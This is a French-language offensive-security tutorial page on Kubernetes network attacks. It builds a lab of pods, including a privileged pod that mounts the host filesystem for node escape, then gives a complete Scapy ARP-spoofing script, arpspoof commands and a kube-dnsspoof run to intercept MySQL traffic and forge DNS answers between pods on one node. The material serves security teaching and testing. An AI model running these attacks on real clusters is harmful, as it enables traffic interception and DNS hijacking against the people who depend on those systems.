# Kubernetes Network Attacks

{{#include ../../banners/hacktricks-training.md}}

## Introduction

Dans Kubernetes, il est observé qu'un comportement par défaut permet l'établissement de connexions entre **tous les conteneurs résidant sur le même nœud**. Cela s'applique indépendamment des distinctions de namespace. Une telle connectivité s'étend jusqu'à **la couche 2** (Ethernet). Par conséquent, cette configuration expose potentiellement le système à des vulnérabilités. En particulier, elle ouvre la possibilité pour un **conteneur malveillant** d'exécuter une **attaque par usurpation ARP** contre d'autres conteneurs situés sur le même nœud. Lors d'une telle attaque, le conteneur malveillant peut tromper pour intercepter ou modifier le trafic réseau destiné à d'autres conteneurs.

Les attaques par usurpation ARP impliquent que **l'attaquant envoie des messages ARP falsifiés** (Address Resolution Protocol) sur un réseau local. Cela entraîne le lien de **l'adresse MAC de l'attaquant avec l'adresse IP d'un ordinateur ou serveur légitime sur le réseau**. Après l'exécution réussie d'une telle attaque, l'attaquant peut intercepter, modifier ou même arrêter des données en transit. L'attaque est exécutée sur la couche 2 du modèle OSI, c'est pourquoi la connectivité par défaut dans Kubernetes à cette couche soulève des préoccupations de sécurité.

Dans le scénario, 4 machines vont être créées :

- ubuntu-pe : Machine privilégiée pour s'échapper vers le nœud et vérifier les métriques (non nécessaire pour l'attaque)
- **ubuntu-attack** : Conteneur **malveillant** dans le namespace par défaut
- **ubuntu-victim** : Machine **victime** dans le namespace kube-system
- **mysql** : Machine **victime** dans le namespace par défaut
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```

```bash
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Réseau Kubernetes de base

Si vous souhaitez plus de détails sur les sujets de réseau introduits ici, consultez les références.

### ARP

De manière générale, **le réseau pod-à-pod à l'intérieur du nœud** est disponible via un **pont** qui connecte tous les pods. Ce pont s'appelle “**cbr0**”. (Certains plugins réseau installeront leur propre pont.) Le **cbr0 peut également gérer ARP** (Address Resolution Protocol) résolution. Lorsqu'un paquet entrant arrive à cbr0, il peut résoudre l'adresse MAC de destination en utilisant ARP.

Ce fait implique que, par défaut, **chaque pod s'exécutant dans le même nœud** sera capable de **communiquer** avec tout autre pod dans le même nœud (indépendamment de l'espace de noms) au niveau ethernet (couche 2).

> [!WARNING]
> Par conséquent, il est possible d'effectuer des attaques de **spoofing ARP entre les pods dans le même nœud.**

### DNS

Dans les environnements kubernetes, vous trouverez généralement 1 (ou plusieurs) **services DNS en cours d'exécution** généralement dans l'espace de noms kube-system :
```bash
kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153
```
Dans les informations précédentes, vous pouvez voir quelque chose d'intéressant, l'**IP du service** est **10.96.0.10** mais l'**IP du pod** exécutant le service est **172.17.0.2.**

Si vous vérifiez l'adresse DNS à l'intérieur de n'importe quel pod, vous trouverez quelque chose comme ceci :
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Cependant, le pod **ne sait pas** comment accéder à cette **adresse** car la **plage de pods** dans ce cas est 172.17.0.10/26.

Par conséquent, le pod enverra les **requêtes DNS à l'adresse 10.96.0.10** qui sera **traduit** par le cbr0 **en** **172.17.0.2**.

> [!WARNING]
> Cela signifie qu'une **requête DNS** d'un pod va **toujours** passer par le **pont** pour **traduire** l'**IP du service en IP de l'endpoint**, même si le serveur DNS est dans le même sous-réseau que le pod.
>
> Sachant cela, et sachant que **les attaques ARP sont possibles**, un **pod** dans un nœud sera capable de **intercepter le trafic** entre **chaque pod** dans le **sous-réseau** et le **pont** et **modifier** les **réponses DNS** du serveur DNS (**DNS Spoofing**).
>
> De plus, si le **serveur DNS** est dans le **même nœud que l'attaquant**, l'attaquant peut **intercepter toutes les requêtes DNS** de n'importe quel pod dans le cluster (entre le serveur DNS et le pont) et modifier les réponses.

## Spoofing ARP dans les pods dans le même nœud

Notre objectif est de **voler au moins la communication de l'ubuntu-victim au mysql**.

### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
```

```python:arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing

Comme déjà mentionné, si vous **compromettez un pod dans le même nœud que le pod du serveur DNS**, vous pouvez **MitM** avec **ARPSpoofing** le **bridge et le pod DNS** et **modifier toutes les réponses DNS**.

Vous avez un très bon **outil** et **tutoriel** pour tester cela dans [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)

Dans notre scénario, **téléchargez** l'**outil** dans le pod attaquant et créez un \*\*fichier nommé `hosts` \*\* avec les **domaines** que vous souhaitez **spoof** comme :
```
cat hosts
google.com. 1.1.1.1
```
Effectuez l'attaque sur la machine ubuntu-victim :
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
```

```bash
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1
```
> [!NOTE]
> Si vous essayez de créer votre propre script de spoofing DNS, si vous **modifiez simplement la réponse DNS** cela **ne fonctionnera pas**, car la **réponse** aura une **src IP** l'adresse IP du **pod** **malveillant** et **ne sera pas** **acceptée**.\
> Vous devez générer un **nouveau paquet DNS** avec la **src IP** du **DNS** où la victime envoie la requête DNS (qui est quelque chose comme 172.16.0.2, pas 10.96.0.10, c'est l'IP du service DNS K8s et non l'IP du serveur DNS, plus d'informations à ce sujet dans l'introduction).

## Capturer le trafic

L'outil [**Mizu**](https://github.com/up9inc/mizu) est un visualiseur de trafic API **simple mais puissant pour Kubernetes** vous permettant de **voir toute la communication API** entre les microservices pour vous aider à déboguer et à résoudre les régressions.\
Il installera des agents dans les pods sélectionnés et rassemblera leurs informations de trafic pour vous les montrer sur un serveur web. Cependant, vous aurez besoin de permissions K8s élevées pour cela (et ce n'est pas très discret).

## Références

- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)

{{#include ../../banners/hacktricks-training.md}}
